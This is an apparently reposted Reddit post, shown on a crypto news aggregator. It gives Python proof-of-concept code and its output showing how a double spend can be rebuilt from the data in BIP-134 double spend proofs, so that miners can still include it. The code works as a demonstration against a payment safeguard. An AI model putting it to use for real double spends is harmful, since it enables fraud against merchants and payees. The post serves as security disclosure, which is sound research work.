in

Bitcoin : Double spend proofs bypass.

Bitcoin : Double spend proofs bypass.


We had a [little dispute](https://www.reddit.com/r/btc/comments/95eoyx/this_community_falls_apart_when_we_say_i_dont_see/e3tj3so/) with /u/ThomasZander about the theoretical possibility of passing double spend transactions through the [double spend proofs](https://bitcoinclassic.com/devel/Double%20Spend%20Proofs.html) system (a part of the [BIP-134](https://github.com/bitcoin/bips/blob/master/bip-0134.mediawiki) proposal) in such a way that miners still can successfully add double spend transactions to their mined blocks.

Here is a python proof of concept code, which uses the [bitcoinlib](https://github.com/1200wd/bitcoinlib) library to generate an example of original and double spend transactions pair, then discard the double spend transaction and reconstruct it via combining the original transaction with the information from the double spend proofs data:

from bitcoinlib.transactions import *

ki = Key(0x18E14A7B6A307F426A94F8114701E7C8E774E7F9A47E2C2035DB29A206321725,
compressed=False)
prev_tx = ‘f2b3eb2deb76566e7324307cd47c35eeb88413f971d88519859b1834307ecfec’

##############################################################################
# Generate the original transaction with two outputs. #
##############################################################################

orig_t = Transaction()
orig_t.add_input(prev_hash=prev_tx, output_n=1, keys=ki.public_hex,
compressed=False)
orig_t.add_output(1000, ‘1runeksijzfVxyrpiyCY2LCBvYsSiFsCm’)
orig_t.add_output(1000, ‘1MW74DeeNZvKcS8BqYuuJkHoUWdM5mG8Le’)
orig_t.sign(ki.private_byte)

##############################################################################
# Generate a double spend transaction with one output removed and #
# miner fee increased by 100 satoshi. #
##############################################################################

ds_t = Transaction()
ds_t.add_input(prev_hash=prev_tx, output_n=1, keys=ki.public_hex,
compressed=False)
ds_t.add_output(1900, ‘1MW74DeeNZvKcS8BqYuuJkHoUWdM5mG8Le’)
ds_t.sign(ki.private_byte)

##############################################################################
# The miner only receives the raw original transaction and a double #
# spend proof, which contains the input-script of the double spend #
# transaction, for more details see #
# https://gist.github.com/imaginaryusername/edcd611313abb5390872b7dc4911d170 #
# #
# And obviously the miner does not have the right private key, so we #
# erase it at this stage. #
##############################################################################

ki = None
ds_script = ds_t.dict()[“inputs”][0][“script”]
orig_raw = orig_t.raw_hex()

##############################################################################
# Recover the double spend transaction based on the info from the original #
# transaction and ‘ds_script’. This information is available to miners. #
##############################################################################

imported_t = Transaction.import_raw(orig_raw)

print(“Brute force guessing the transaction fee increase.”)
detected_fee_increase = None

for fee_increase in [1, 10, 100, 1000, 10000]:
recovered_ds = Transaction()
recovered_ds.add_input(prev_hash=imported_t.dict()[“inputs”][0][“prev_hash”],
output_n=imported_t.dict()[“inputs”][0][“output_n”],
unlocking_script=ds_script, compressed=False)
recovered_ds.add_output(imported_t.dict()[“outputs”][0][“value”] +
imported_t.dict()[“outputs”][1][“value”] – fee_increase,
imported_t.dict()[“outputs”][1][“address”])
if recovered_ds.verify():
detected_fee_increase = fee_increase
break

if detected_fee_increase:
print(“Signature validated, double spend fee increase was ” +
str(detected_fee_increase) + ” satoshi.”)
else:
print(“Failure!”)

##############################################################################

recovered_ds_raw = recovered_ds.raw_hex()

if recovered_ds_raw == ds_t.raw_hex():
print(“The double spend transaction recovery was bit-exact.n”)

Output:

Brute force guessing the transaction fee increase.
Signature validated, double spend fee increase was 100 satoshi.
The double spend transaction recovery was bit-exact.

In order to succeed, it is necessary to have a patched wallet application to generate double spend transactions in a special way. The miners who are interested in mining double spend transactions also should patch their software to add support for double spend transactions recovery.

PS. I’m not endorsing double spends or any kind of illegal activity. Just wanted to demonstrate that bypassing the double spend proofs mechanism is theoretically possible.




View the link

Bitcoin



Bitcoin is a distributed, worldwide, decentralized digital money. Bitcoins are issued and managed without any central authority.
FindCrypto scans the web for the latest Bitcoin news, so you can find all the latest and breaking news in one convenient location.

Author: ssvb1

Score: 3

Don’t forget to share the post if you love it !

Ethereum : Do you believe ETH will rebound?

Bitcoin : If the yield curve is not an indicator of impending doom, why is everybody talking about the yield curve so much?